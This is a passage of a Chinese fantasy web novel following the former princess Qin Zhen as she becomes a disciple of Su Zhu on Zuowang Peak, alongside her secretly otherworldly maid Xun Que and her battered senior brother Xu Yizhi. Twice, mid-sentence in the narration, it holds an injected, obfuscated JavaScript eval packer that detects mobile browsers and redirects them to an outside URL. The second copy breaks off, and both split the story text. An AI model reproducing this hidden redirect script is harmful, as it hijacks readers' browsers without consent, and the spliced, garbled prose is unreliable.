“栖归,你来找我是何事?血祭阵法已经解决了,你算得确实准,果然是秦承定弄来的秘法,只是池玉知道的也不多,秘法来源和具体的细枝末节,都无法得知了,只能后面再去查,不过阵法我已经毁了。” 苏逐点头,和他预想的一样,于是他说:“我想问你……是不是想将刚刚那个凡人女孩留下?她就是肖拭云的女儿吧。”苏逐停了一下,说:“若是可以,你问问她可愿拜我为师。” 肖涧川讶然,没有想到苏逐竟然想收秦蓁为徒。 苏逐,字栖归,是道源宫长老之一,坐忘峰峰主。虽是半道入的道源宫,也基本是归隐的状态,可他的实力却是毋容置疑的,肖涧川虽为掌门,亦要敬他三分。 而他座下两位弟子,一人已成顶尖大能,一人则是后辈翘楚。 肖涧川当即就想应下,苏逐却说:“待她睡醒,先问问她的想法吧。” “我刚刚算了一卦,她的命线……是断的。” 4. 大家都太能装了 秦蓁睡不着。 她不懂肖涧川为何那般关心她,他是仙人,话本上的那种上天入地无所不能的修仙人,该高高在上才对。 而不是蹲下身,抬着头,担忧的看她这个凡人。 秦蓁眼眶有些发涩。 有人仅一面便能抚开心门,有人数十年依旧隔阂。 许是药力还在发作,秦蓁感到身上又渐渐温暖起来,她将被子再往上拉了拉,闭眼沉沉睡去。 再次醒来,看见的便是旬鹊带着惊喜的小脸:“公主!睡得好不好呀?我听掌门说你刚醒就去散心,结果摔下崖了,怎么这么不小心嘛!” 嘴上这么说,旬鹊在心里却是竖起了大拇指:不愧是女主!上来就领悟了坠崖大法! 众所周知,坠崖——堪称各个修仙文男女主的必经之路。一跃解千愁!轻则什么灵丹妙药古法秘籍应有尽有,重则偶遇有缘大能继承衣钵得道飞升! 虽然剧情好像崩得有点厉害,但天道剧本就是让秦蓁修炼至巅峰最后飞升嘛,过程中出的一些小差错不重要,往凤傲天的路线走走,结局也是一样的嘛!合理!非常合理! “是太不小心了,今后……我多留心脚下。”秦蓁垂眸,看到自己身上盖的雪白的棉被,愣了下,说:“我已不是夏属国公主了……小鹊,你也不是我的婢女了,不用再照顾我……” 她话未完,便被旬鹊扑了个满怀,小丫头抱住她,大哭:“公主你是不是不要我了!公主是小鹊的家人啊!小鹊离了公主不能活啊!公主呜呜呜……” 秦蓁手足无措的回抱住旬鹊,拍拍她的背,又摸摸她的脑袋:“不是不是,只是,再叫我公主不合适了,不是赶你走。” 旬鹊抬头,露出带着泪的眼睛:“那叫阿蓁姐姐好不好?小鹊刚认识你时就是这么叫的。” 秦蓁只得说好。 旬鹊露出胜利的笑容,不就是刚被重塑世界观又经历生离死别,迷茫失望又痛苦,便嘴硬推开善意的小孩嘛,她懂的她懂的,谁都有这种时候嘛,虽然女主好像心死如灰得有点彻底,看上去是真不想活了,但是没关系,女主情绪低落,她就先一步跟她哭,女主想支开她,她就先一步无理取闹说离不开她,女主不想活,她就先一步表现得更不想活,总结就是:一哭二闹三上吊!只要她比女主先闹起来,女主就闹不起来。 接着陪在女主身边,让她感受到爱和温暖,哄她开心振作起来,这个她很熟的! 旬鹊对自己和秦蓁从前七年的相处时光还是有点自信的,秦蓁是真的很懂事很好哄。 她弯着眼睛,冲秦蓁笑。 秦蓁也笑,却有些无奈。放眼望去,这里的一切都与宫中大不相同,没有金碧辉煌,没有琳琅满目,这间卧房素净典雅,给人感觉很安心舒适。 秦蓁有些迷茫,从前十五年的日子在脑中一一闪过,她自嘲地笑了笑,只觉得人算不如天算。 “阿蓁姐姐,方才掌门大叔让小鹊问问你,愿不愿意修炼?愿不愿意拜救你上来的那位苏长老为师?”旬鹊问完,撒娇道:“阿蓁姐姐答应呀,小鹊也想修炼呢!” 秦蓁捏捏旬鹊的小脸:“你十三岁了小鹊,少撒娇,对人客气些,别喊人大叔。” 旬鹊瞪大眼睛:“阿蓁姐姐你才及笄,少学大人说话,多撒娇!” 秦蓁“噗”一声笑了出来,却只摇摇头,说:“我要懂事。” 旬鹊心里有点不是滋味,有时候真是讨厌这个破天道,女主还是小孩呢就开始压迫人家了。 于是她说:“你不用懂事,你是小孩,小孩要做的就是每天都快快乐乐。从前是皇上要你懂事,但现在皇上不在了,你不用懂事。” 秦蓁摸她脑袋的手停了下来,她没想到旬鹊会说这种话。 旬鹊也意识到了自己这话有点不太“小孩”,赶紧补一句:“谁让皇上对阿蓁姐姐不好嘛!他在小鹊心里是坏人!” 秦蓁看着旬鹊,良久,才轻轻说:“小鹊长大了。” 旬鹊笑笑,好险,女主洞察力惊人,自己还是不要太多话了,怎么刚刚一下没忍住话就从嘴里蹦出来了呢,以后还是像从前那样,编个话本什么的塞给女主看,让她在知识的海洋里塑造德善美积极向上人生观。 旬鹊转移话题:“阿蓁姐姐答应修炼吧,你之前不是说想学武嘛,这下正正好呀。” 秦蓁没答话,只一直盯着旬鹊,盯得旬鹊都有些绷不住表情了,才说:“好,我修炼,你也修炼。” 旬鹊立马松了口气,笑得很开心:“那我去给掌门大叔回话!阿蓁姐姐再休息会儿。” 秦蓁也笑着点头,看着旬鹊出了门。 门一关上,秦蓁的笑容就淡了下来。 旬鹊,也不简单。 其实她很早就发现了旬鹊和其他小孩不一样,虽然撒娇嬉闹得比谁都多,但那笑似乎总是不及眼底,拉她看的话本也都是各种仙人侠客拯救江湖的故事,偶尔夹杂着一些皇室的各种记载。 她不傻,自然知道那是被人精心挑选过的。她儿时爱玩爱闹,真正的笑闹是什么样子,她很清楚。 而旬鹊的笑闹,更像是在模仿,她笑不是因为开心,而是她认为该笑了。 但秦蓁什么也没说。 五年前自己因父皇的转变大受打击,真真正正的崩溃过,是旬鹊一直陪着她哄着她,没有旬鹊,以自己那时被宠得无法无天的臭脾气,可能就此消沉下去了,或是变得冷漠怨怼。 不管她是什么目的,至少七年来,她从未害过自己,也帮了她很多。 大概……小鹊原本也是修仙之人吧?可能也跟她修仙的母亲有关系,就像肖涧川是为了她母亲救的她。 肖拭云…… 那是个怎样的人呢? “阿蓁姐姐,我带苏长老进来啦?”旬鹊欢喜的声音从门外进来,秦蓁扬声答了句好。 于是门打开,旬鹊小跑到她身边,苏逐也进来。 秦蓁看着苏逐想,这人大概就是仙人这个词最好的阐释,仙姿卓卓,风华绝代。 “蓁蓁,伤口还疼吗?”那人开口,声音是低哑的,却如玉碎。 “仅一点疼,多谢您和肖掌门救我。”秦蓁客气的说。 苏逐皱眉:“怎会还在疼?肖掌门的医术很好,按理不该疼这么久。我给你把脉。”他向秦蓁伸手,秦蓁下意识就缩了下手,反应过来有些尴尬,又把手朝苏逐伸过去。 苏逐却明了,温和的笑:“这里没太多规矩,你不必担忧。” 秦蓁低头,看苏逐的指尖搭上自己手腕,冰冰凉凉的。 苏逐边诊脉边说:“方才小鹊说你愿意修炼,待你伤好,便可开始。你现在还是凡人之躯,少想些事,有什么 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在苏逐的感染下,她的心绪也平和下来,整个人放松了不少。 “小鹊呢?小鹊能同我一起修炼吗?”秦蓁问。 苏逐早有所料,点头道:“自然可以,小鹊可以随你一起来坐忘峰。” 但旬鹊听到这话却立刻摆手摇头:“不不不,我得跟着掌门大叔修炼的,方才阿蓁姐姐未醒时,我已答应掌门大叔了。” 这是七年来旬鹊第一次拒绝与秦蓁一同做什么事,她有些愣,但也点头说好。 原来自己才是那个离不开人的小孩。 但秦蓁很快想通——她想抛开从前的自己,从今往后,做一个新的她。 这个她,不会再心软懦弱,不在意身边人是否喜欢,亦没有那些不得不做的自保算计。 往后她想做什么,便去做,不必披上讨巧的外衣,求任何人的一点喜爱。 秦蓁笑起来,眼中带着一点光,看向苏逐:“师父在上,往后我愿随您入道,一心修炼。” 苏逐倒是没想到秦蓁能这么快从过去走出来,如此心性,确是修行问道的好苗子。 看着秦蓁期许坚定的眼睛,他头一回有些不知道自己的做法是对是错。 秦蓁的命线,是断的。他算到时,十分疑惑,命线断,其人必死,可秦蓁好生生的在这。他疑心是不是自己算错了,便没有与肖涧川说太多,只说担心她日后出事,所以想收她为徒,带她修炼护她平安。 实际上,回到坐忘峰他久违的启动秘宝细细算了一卦。秦蓁,命线不仅是断的,而且还是断在十五年前。 十五年前,秦蓁刚刚来到人世,命线便是断的。 他再算,她的人生似乎非常顺遂,凡人仙体本是鸿沟,她却抬脚便能走过,修行简直如鱼得水,比最有天赋悟性的天才还要顺利得多,以极快的速度登上巅峰。 苏逐算到这,眉头已经皱得相当厉害了,而秦蓁修炼至巅峰后的人生轨迹,他却怎么算都算不出了。 这般命数,他想到的可能只有两种,一是天选之子得道飞升,二是做了什么极恶之事,被天道降下天雷劈得魂飞魄散。 迷云重重。这种人,还是放在自己身边比较好。 若有什么……可及时扼杀。 5. 踏上修炼路 遥望坐忘峰,似一座厚重雪山,巍峨耸立,气势磅礴。与日月峰如春的山景不同,坐忘峰常年积雪,只有漫山遍野的雪松。地势确实比日月峰平坦得多,日月峰云雾缭绕,却不见雪色,而坐忘峰自山脚便有薄薄积雪,让秦蓁感叹确与凡人界大不相同。 秦蓁被苏逐带到山顶,山顶平台呈圆弧,积雪已被人清扫过,露出铺地的青石板,几间屋舍划半弧而建,空开中间大片平地,对着另一半弧的一间竹木小屋。 “这些是你师姐从前找人修建的。那间小屋是我住处,对面是你大师姐和二师兄住的地方,他们各自占了两间,还有四间空出的你随意选,先前我已施过清洁术,用具也齐全,你若有什么需要的可与我说,只是没有你在凡人界住得那么舒适了。”苏逐说。 秦蓁看了看,跟日月峰的卧房差不多的陈设,大抵因为这里常年落雪,有很清新的木质香,比宫里浓郁的熏香好闻太多,屋内古朴简洁,亦比那些色彩厚重绚丽的寝殿更让她喜欢,她觉得很舒适,笑得很真心:“我觉得很好,我很喜欢。” 苏逐也笑,拍拍她的头:“喜欢便好。” “你师姐尚在山腰洞府闭关,你师兄不知道跑哪个秘境折腾去了,待你安顿下来后,我用玉牌告知他们此事。”苏逐说完,拿出一块玉牌递给秦蓁:“这是你的玉牌,念出对方名字便可传音,你要找我们会方便许多。” 秦蓁接过玉牌,上面刻着一个“蓁”字,笔势舒展有型,气势遒劲。 “我先前便准备好了。虽然不清楚你是否愿意拜我为师,但若是你答应了,我却没有将你需要用到的东西备好,那就太草率了。”苏逐有点无奈:“只是储物戒需要灵力注入,你还无法使用,过几日我再交与你。” “晚些会有小童来为你量穿衣尺寸,之后便休息吧。我要下山一趟,大概明日傍晚回来,你有事用玉牌唤我就好。”苏逐叮嘱一句后,本想直接离开,见秦蓁孤零零站在那里望着他,还是说了句:“别怕。” 秦蓁应声,说:“不怕。” 目光澄澈、坚定。 苏逐笑笑,转身离开。 秦蓁握着玉牌看了很久。她想到,刚醒时肖掌门说给了小鹊玉牌,可以唤她过来,可她第二次醒来说愿意修炼后,小鹊是跑出门去找人的。 是忘记了可以用玉牌传音吗?可日月峰临崖,一个凡人除了通过玉牌传音,还能怎么找人呢。 秦蓁垂眸,轻轻叹气。 “旬鹊……你是什么人呢……” * 旬鹊从肖涧川那里套来了许多重要情报,此刻正窝在肖涧川为她准备的卧房,复盘今日发生的事。 苏逐截胡了肖涧川收女主为徒是她没想到的,或者说,她都不知道苏逐这个人从哪儿冒出来的。 本来女主应该是跟着肖涧川修行的。 在女主没醒来前,她还在肖涧川面前演了一番主仆情深,成功把肖涧川忽悠住了,她趁热打铁说要一起拜师跟着肖涧川修炼,没想到肖涧川却说苏逐想收秦蓁为徒,让她计划落空了。 但她也不能反悔说不拜肖涧川了,一来掌门大叔也是要面子的,二来苏逐这个天道剧本中没有的人物,她其实并不太敢跟他多接触。 自己毕竟是天道任务者,身上有一丝天道的气息。 这丝气息在天道降下天雷或者回溯时间覆灭小世界时,会避开她这个“自己人”,因为她并不属于这个小世界。 但摸到飞升屏障的顶尖大能也很有可能发现她身上这丝天道气息,对她起疑。 苏逐长得就一副隐世仙人的样子,肖涧川对他也很恭敬,他修为绝对不低,保险起见,自己还是少在苏逐面前晃。 肖涧川她倒是不怕,这人的修为并不算最顶尖那一批,还未悟天道,发现不了天道的存在,只以为“天道”便是他们所求的“大道”。 肖涧川管苏逐叫栖归,应该是这人的字?栖归……倒是有点耳熟,是在哪里听过? 旬鹊回忆了很久天道剧本,越发觉得自己一定听过。可是在哪里听过呢?栖归……栖…… “旬鹊……你是什么人?” 突然听见秦蓁的声音,旬鹊吓了一大跳,立刻意识到是玉牌传音,她赶紧拿出玉牌:“阿,阿蓁姐姐!怎么啦!找小鹊什么事呀?” 旬鹊实实在在被吓了一跳,有些心虚。 没想到秦蓁也顿了一下,才慢慢说:“小鹊,我方才说的话,你可有听见?” 秦蓁的声音从玉牌传出来,很清透,带了一点点冷。 旬鹊更心虚了:“小鹊……能是什么人呀,小鹊就是小鹊呀……阿蓁姐姐,咱们也算一块儿长大的,怎么突然这么问呀?” “就是想到,小鹊会不会本来是修仙之人,被派来保护我的,之前咱们看的许多话本,好多都这样写。” 旬鹊在心中大叫女主你怎么知道的!你真相了! 她飞快思考了一下,还是决定装傻充愣:“阿蓁姐姐,话本是话本,和真正的修仙人还是很不一样的!小鹊哪会仙法呀,你忘了嘛?小鹊是被爹爹娘亲赶出来的,是阿蓁姐姐救了小鹊呀。” “不过小鹊是来保护阿蓁姐姐的哦!小鹊要跟着掌门大叔好好修炼变得很强很强,保护阿蓁姐姐!” * 秦蓁回想着旬鹊的话。 她本来只是握着玉牌想事情,叹气时这么念了一句,没想到玉牌中突然传来旬鹊慌乱紧张的声音。 若说之前只是存疑,旬鹊的反应却让她基本确定了。 怎么都是假的呢?从前的一切。 父皇的宠爱是假,母后……是假,现在连旬鹊,也是假的。 那真实是什么? 秦蓁有些低迷,想着旬鹊最后的话,真假难辨,但有一点却是对的——变强。 只要够强大,便能兵来将挡,水来土掩。 她生在皇室,自小就明了身份地位带来的权力与其重要性。换成修行也是一样的,有实力,才有立身之本,足够强大,就不需要分辨真假,因为所有都无法影响她,而是她去主宰。 秦蓁握紧玉牌,看着上面的“蓁”字。 蓁,寓草木繁盛,寓生机盎然。 她要往前走,走得很远很远。 她要修行,要问道,要登至巅峰。 * 苏逐最近在让肖涧川帮忙炼丹。 他手上的药材还差一些,下山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116410|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本是想去找几个未开启的秘境搜刮一下,这事他从前干多了,得心应手,便想先为秦蓁购置一些她日后可能用到的东西。 他掩了面去了街市,买了些他能想到的东西放进储物戒。正要离开时,突然发觉了什么,掐指一算——秦蓁的心境提升了。 苏逐给秦蓁诊脉时打了一点他的灵力进秦蓁体内,布了个小阵法。她的脉象没什么问题,但命线不可能无缘无故断,若是秦蓁出什么事,他能第一时间感受到她的状态。 不知她那边发生了什么。这小姑娘,大概从前在皇宫中就经历了许多,年纪虽小,但聪明又坚定。 若能一直坚守本心,悟道飞升,倒是最好。 他许久没收徒弟,大徒弟二徒弟这俩人想想他都头疼,秦蓁这个小徒弟倒是最合他心意的。 他并不希望……秦蓁日后走的不是飞升路,而是需他送行的黄泉路。 * 秦蓁看着面前裹着毛绒绒厚衣帽的小童,再看了看自己身上薄薄的春衫,又看了看坐忘峰上的积雪,陷入了沉思。 小童睁着大眼睛,满是惊羡的说:“仙子姐姐好厉害,坐忘峰的寒气都能抵御。” 秦蓁摇头:“我只是凡人。”想了想,又补了句:“目前是。” 小童的眼睛睁得更大了:“更厉害了!” 秦蓁一噎,她以为自己不觉得冷是之前吃了肖涧川给的药的原因,但看小童这样子,又觉得不是,毕竟肖涧川不像个吝啬丹药让弟子们冻着的人。便没说什么,看着小童施法为她量体裁衣。 边量小童边说:“好冷啊,最讨厌来苏长老这儿了……” 秦蓁好奇:“你经常来吗?” 小童摇头,又点头:“山顶不常来,山脚隔几个月就得来送一次衣物。” 小童一脸悲切:“许师兄太爱闯秘境了!他每次从外头不知哪个秘境回来,就得新做一堆衣服,我就得送到山脚下给他。” 小童眼泪汪汪:“还好苏长老人好,让许师兄去山脚等我,不然我几个月就得来一次山顶,恐怕早就冻坏根骨了。” 秦蓁第一次听见还有冻坏根骨的说法,正想问,小童却说:“诶,美人姐姐,量好了,过几日衣服做好了我送过来。”小童收了法,拿出一个小瓶子递给秦蓁:“这是肖掌门让我一并带来的丹药,说让你服下。” 秦蓁收下,道了句谢,小童把毛绒绒的衣帽束得更紧,摆摆手便走了。 秦蓁回屋子吃了药便睡下,大悲后的明悟让人疲倦,她确实需要休息,但原先秦蓁以为自己会心绪难安睡不太好,没想到却是一夜好眠。 * 秦蓁是被刺鼻的血腥味惊醒的。 她睁眼时,还以为自己倒在血泊里,不远处是父皇,身旁是母后。 缓了一会儿,她才发觉不是噩梦,是真的有很浓烈的血腥味从屋外漫进来,抑住了雪松的味道,压住了竹木的古香。 秦蓁神情一凝,披了件外衫,一手拿着玉牌,一手将门轻轻推开一条细缝。 雪下了一夜,青石板又被积雪盖上,却不是昨天的一片白,而是染上了大片血红。 她看见门前的空地上,躺着个浑身是血的男子。 6. 师兄不温柔也不高冷,师兄呆 秦蓁走到男子面前,走近了,才发现这血人不仅浑身带血,还混着一些湿润的泥土,衣物已看不出原本的颜色。男子眉目凌厉,紧闭着双眼。 秦蓁心想:这位不会就是她那个爱闯秘境的师兄吧…… 这衣物,似乎……确实不能再穿了……难怪那小童见人就控诉他。 秦蓁犹豫一瞬,蹲下抬起男人的一只手臂,另一只手从他肩胛骨下发力,想试试看能不能把这人拖进屋里。 她刚一用力,那人便猛地睁眼,目光如尖利的带血刀刃,煞气四溢。 她一滞,卸了力,男人刚被抬起的半边身子又摔了回去。 秦蓁听见一个气若游丝的声音:“小师妹,我跟你,应该是第一次见面,没有仇吧……” 秦蓁不好意思的笑了笑:“师兄,你屋里有没有药?我去给你拿。” 许翊之说:“药用完了,师父没给我拿新的药来。” 秦蓁有些惊讶,苏逐做事很周全,不像会忘了门下弟子的伤药。 许翊之一眼就看出秦蓁在想什么,他语气沉重的开口:“小师妹,你听我说。” 秦蓁见许翊之这般严肃,也认真看着他,等着他接下来的话。 “师父他,不是什么好人。” 秦蓁:“……” 她拿出玉牌,念出苏逐的名字:“师父,师兄受伤了,坐忘峰上有没有什么伤药?” 苏逐原本温柔问着“怎么了”,听到这话语气瞬间一变:“哦?这次回来得倒是快。他在旁边吗?” 秦蓁答是,便听苏逐冷笑一声:“治不了,等死吧。” 而后玉牌光熄,苏逐切断了传音。 秦蓁看着许翊之,许翊之也瞪着眼睛看她,眼里全是:看吧,我说什么。 秦蓁叹气:“师兄……你平时都做了什么,让师父这般对你。” 许翊之也叹气:“我只是爱闯秘境啊……这秘境没开的时候不去闯闯,等开了别人打完怪了好东西收了,那就很没劲了,你说是不是?” 秦蓁想了想,点头:“确实很有道理。” 许翊之随口一说,以为这位小师妹会像其他同门一样说不可掠夺整个秘境的资源,这是为天道所不容的,应该等秘境自然开启让所有人分一杯羹云云。 没想到秦蓁真的应了声。 见她神情认真,许翊之笑起来,剑眉星目,却带着丝邪气:“小师妹很有悟性啊!不如等我伤好后,下次你与我一同去?放心放心,师兄会护好你。” 秦蓁看了看成了个血人还不安分的师兄,觉得还是她努力修炼去护师兄比较靠谱。 这个师兄给她的感觉有点……呆。 秦蓁十分怀疑许翊之出门会不会被人骗。 她问出自己先前的疑惑:“师兄,你在泥里打过滚吗?” 许翊之挑眉,讶然道:“你怎么知道?” 他还能躺在这跟小师妹唠嗑,而不是在秘境里等着师父为他进行真正意义上的收尸,全靠他在那头巨兽一爪子拍过来时迅速翻身滚进了下陷的泥地里,绝麟秘境当真凶险。 秦蓁抬手指了指他的衣服:“全是血和泥。” 许翊之夸赞:“小师妹好眼力!” 秦蓁无语凝噎。 她觉得自己小时候看的话本都是骗人的,师兄既不温润如玉,也不高冷倨傲,师兄……大抵真有点傻。 连那一身的煞气也挡不住的傻。 * 苏逐切断玉牌传音匆匆赶回坐忘峰,远远便看见莹白雪地里一抹刺眼的红——这是许翊之。 二徒弟又跑不知道哪个未开启的秘境找死去了,这次回来那么快,估计是闯失败了。许翊之沉迷于闯各种秘境,回回把自己弄得九死一生,拖着个还剩几口气的身体撕碎保命符,传回坐忘峰,等着自己给他“收尸”。 再近一点,看见许翊之旁边蹲着个黑发白衣的小姑娘。 小姑娘神情认真,听着许翊之讲述他闯各种秘境的心得,时不时点点头应一声,面容清冷若冰花,睫羽垂碎,像块雪玉。 忽然她似觉察到什么,抬头远远望向他,似山雀停枝乍开花上的薄冰,眉眼带笑,喊了声:“师父。” 苏逐走到秦蓁身边,揉了揉她的头发。 还是小徒弟好,虽然命线古怪,但是人乖巧懂事又听话,不至于让他这个做师父的操碎了心。 于是他开口第一句话,便是和许翊之那句师父不是好人一个意思的:“蓁蓁,别管你师兄,他是个傻的。” 秦蓁深以为然,但还是给许翊之留了点面子:“师兄是……一心向道。” 苏逐听出了秦蓁的弦外之音,笑起来:“你师姐应该这两日也要出关了,她在凡人界生活过一段时间,你们应当有话聊。” 秦蓁点头,师姐竟在凡人界待过,她还以为这方水土都是生在修真界的人。 “许翊之,现在来说说你,跑哪个秘境去了?”苏逐语气变冷,问。 许翊之在看见苏逐的瞬间就闭了嘴,老老实实躺尸装死,这会儿被点,只得小声说:“绝麟秘境。” 绝麟秘境,一个两年开启一次的小秘境,却是凶名在外。从前每次开启时,各宗门都会聚集起来,选出一批优秀弟子进入秘境历练,最近几年却没人愿意去了。 只因为进去后就再也没出来的人,太多。 零星几个能活着出来的弟子,心魔滋生,没多久便死了。 苏逐忍了又忍,没忍住,抬手冲着许翊之眉心打了一道灵力:“滚回自己洞府闭关,明早煞气消不掉就自己爬去清心池泡一天。” 许翊之在那道灵力打入眉心的瞬间便仰头喷了一大口污血,秦蓁一惊:“师兄!” 却见原本死气沉沉的许翊之似乎好了许多,喘着气勉力坐起来,恭恭敬敬:“是,多谢师父相救。”接着偏过头看向自己,笑着说:“小师妹,抱歉,方才我心境不稳,胡乱说了些话,怕是吓着你了,待我伤好给小师妹赔礼道歉。” 许翊之身上迫人的气势收敛许多,这会儿的笑容比方才少了丝邪气,多了些少年人的意气。 秦蓁摇头:“我没有被师兄吓到,师兄好好养伤便好……” 这句话的尾音未完,便消失在苏逐一挥手凝了把灵剑,而后一剑把许翊之挑起飞下山中。 秦蓁难得有些傻眼:“师兄不会有事吧……他伤重,师父你……” 苏逐将指尖那一点灵力打散,漫不经心:“他不会有事,有事也死不了。” 但对上秦蓁睁得圆圆的眼,还是放缓了语气:“他在秘境中被心魔附体,我打了道灵力修复他的伤口,也能让他保持清醒。” 又轻飘飘补了句:“就是痛一点。” 秦蓁想起刚刚许翊之的样子……估计不是痛一点的程度。 她有些沉默,觉得往后自己乖巧小师妹的面具戴不下去了。 苏逐见小徒弟一直不说话,担心她真把许翊之的话听进去了,也对闯秘境燃起兴趣,皱着眉劝:“蓁蓁,你比你师兄的天赋好上太多,不必像他一样追求极险之地的破而后立,往后修炼皆以自己性命为重,知道吗?” 秦蓁乖巧应下,接着问:“师兄天赋很差?才需这般……拼命吗?” “很差。”苏逐说。 “很差很差,差到我没有想到他……真的能活下来。” * 苏逐是在某个各大宗门组织的、他都忘记了叫什么名字的秘境中,遇到许翊之的。 那时的许翊之,还是个十五六岁的少年,穿着鲜艳,被一群差不多大的少年们簇拥着,边嬉闹边探索秘境,见他一个人走在一旁,许翊之过来问他要不要一块走,他很厉害,可以罩着他。 少年大抵觉得自己十分义气,他神气的扬下巴,笑容骄傲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏逐还是那副淡然的样子,说:“眼见非实,你还不懂。” 这话一说完许翊之就冲他露出憎恶的目光,似一匹同伴被围剿的领头狼,悲切、凶狠、又愤怒。 苏逐摇头,明明只是个花孔雀。 “你身上玉牌没了吧?”苏逐扔了一块玉牌给许翊之:“捏碎传送玉牌出秘境吧,你很快便会懂了。若被逼到死路,可来晋凛客栈找我。” 许翊之听了,流泪的眼睛微微明亮起来:“难道他们中有人捏碎了玉牌出去了!” 同伴还有幸存这个想法让他恢复了些许生气,又有了点之前那骄傲意气的样子:“你把你的传送玉牌给我了,那你怎么出去?宗门长老们只一人发了一块。我不能拿了你的玉牌。” 苏逐只说:“把传送玉牌捏碎,出秘境。” 许翊之却还在滔滔不绝:“晋凛客栈是个什么客栈啊?名字真怪,我从未听过……” 这时大地突然震荡,上空传来碎裂的声音,一柄长刀劈至他身侧,刀气将掉下来的天空碎片震成齑粉,却未伤到他。 “秘境要坍塌了。” 苏逐握着长刀,孑身而立,势如千峰。 许翊之一僵,目光变得惊恐:“你……是你!你是……” “捏碎传送玉牌,出秘境。” 许翊之吓得魂飞魄散,飞快捏碎了苏逐之前扔给他的玉牌,消失在秘境中。 * 四年后苏逐再次见到许翊之,是在晋凛客栈。 还是少年人的年纪,却再也没有那一身的少年意气,他黑衣紧束,眼神扑尘,露出一点锐利的光。 许翊之跪下,朝他磕头:“前辈大恩大德,没齿难忘。” 7. 咱们峰盛产魔头 秦蓁早晨醒来,正穿衣时,听见窗边有些窸窸窣窣的声音,她披了外衣,刚将窗打开一半,便看见旬鹊扬着笑的小脸。 “阿蓁姐姐!” 秦蓁嘴角不自觉上扬:“小鹊。” 她走到门边开门,让旬鹊进了屋子。 方才在窗边未看清,旬鹊竟穿着厚厚的毛绒衣帽,披着披风。 刚一进来,旬鹊就嘴一撇,眉毛一压,委屈的说:“我终于知道为什么我说愿意帮忙给阿蓁姐姐送衣服时,那小童那么高兴了!” “冻死我了!” 旬鹊委屈极了,她之前得知有小童去坐忘峰给秦蓁量穿衣尺寸,今日一大早便爬起来,找那小童说她愿意帮忙把做好的衣服带给秦蓁,那小童一听这话,赶紧把做好的衣物放进储物戒给她,生怕她反悔似的,推着她往外走:“你太了不起了!你叫旬鹊是吧,往后你来裁衣裳我少收你点灵石,走好啊!” 于是旬鹊在小童“壮士一去兮不复还”的目光中,一头雾水的拿着储物戒离开了。 她已经跟着肖涧川做了基础的修习,明日便要上学塾去了。肖涧川当真是个好糊弄的,她以凡人之体入道,甚至没有洗髓伐骨,他却没觉得有什么奇怪,还感慨说她天赋根骨都是一等一的好,往后磨磨心境,定有番大作为。 旬鹊也感觉自己心境倒退得厉害,没办法,她除了给天道打工之外一件正事没做过,做任务时也爱摸鱼划水,许久没修炼过了。但她不在乎,反正飞升期的修为到哪个世界都够用了。 她作为天道任务者,修为的多少完全凭她心意,她曾经都飞升了,按理说一下子把自己的修为拉到飞升期都可以,只是她天性爱玩,一下子修为涨太高,心境跟不上的话,走火入魔就麻烦大了,她还是想在这些小世界里游山玩水的,虽然天道不会主动为难任务者,但她自己作死就又是另一回事了,小命重要。 没想到差点被坐忘峰的寒气冻死了。 她哆哆嗦嗦的站在坐忘峰山脚下,看着再往前一步就能踩上的积雪,感受着扑面的刺骨寒气,转身就走。 任务诚可贵,生命价更高。 这寒气绝非自然雪山的寒气,她的结界和身上那丝天道气息都迷惑不了这东西,冻得她想起久远的、自己还十分弱小时的某个冬天。让她再一次感受到“差点被冻死”是什么感觉。 太冷,太冷了...... 旬鹊从自己的储物戒中拿出厚衣裹上,再披了件长披风,戴上毛绒绒的帽子,又拿出自己在某个小世界得到的火灵珠握在手里,这才感觉好了许多。她停在离山脚积雪二十多尺的地方,背对坐忘峰,回忆剧情。 天道剧本里,确实有这么一座山峰,但着墨甚少,她不自己来一趟,根本不知道坐忘峰有这么骇人的寒气。 剧本里少数几次提及坐忘峰,都是因为一个人——柳清沂。 这个小世界顶尖的大能之一。据说她是走火入魔闯进道源宫,杀了原来的坐忘峰峰主后,占山为王,因其实力过于强劲,道源宫只能忍气吞声。 后期女主强大起来后,踏上坐忘峰一剑了结了她,得道源宫众人的推崇,肖涧川退位让贤,女主轻轻松松做了道源宫掌门,得到了这个修真界顶尖宗门之一的助力。 旬鹊想,若有这般寒气,柳清沂想据为己有倒是合理了,这稀奇的寒气说不定对压制心魔有奇效。 但现在坐忘峰峰主是苏逐,她也没听闻“坐忘峰大魔头”的消息,难道柳清沂打不过苏逐没能成功霸占坐忘峰?但苏逐......真的是天道剧本里原来的坐忘峰峰主吗? 而且最重要的是,女主拜入坐忘峰了。 她感觉稍稍暖和了些,这寒气似乎可以被物理抵挡,穿多点好像是没有那么冷了。 她有些习惯了从前七年跟秦蓁的朝夕相处,这几日没见到她,竟有一点想念。 不知道女主怎样了,她会不会被这寒气冻到?不过都是女主了,天道总该给女主开个挂吧? 旬鹊一咬牙,还是转身朝坐忘峰走去——任务诚可贵,生命价更高,若为女主故,两者皆可抛! * 秦蓁看着旬鹊红红的眼眶,那眼里的委屈和见到她的激动都要溢出来了,她心下叹气,抚开泄出衣帽的几缕发丝,把结了薄薄冰晶的绒帽给她摘下,问旬鹊储物戒里还有没有其他厚衣,没有便从小童给她裁的衣物里找件出来,去里间换上。 旬鹊换好出来后,听秦蓁说:“我刚刚用玉牌传音了师父,他一会儿来给你驱除寒气。” 旬鹊眼泪汪汪:女主!我就知道我那七年的好感没白刷!你的心里还是有我的! 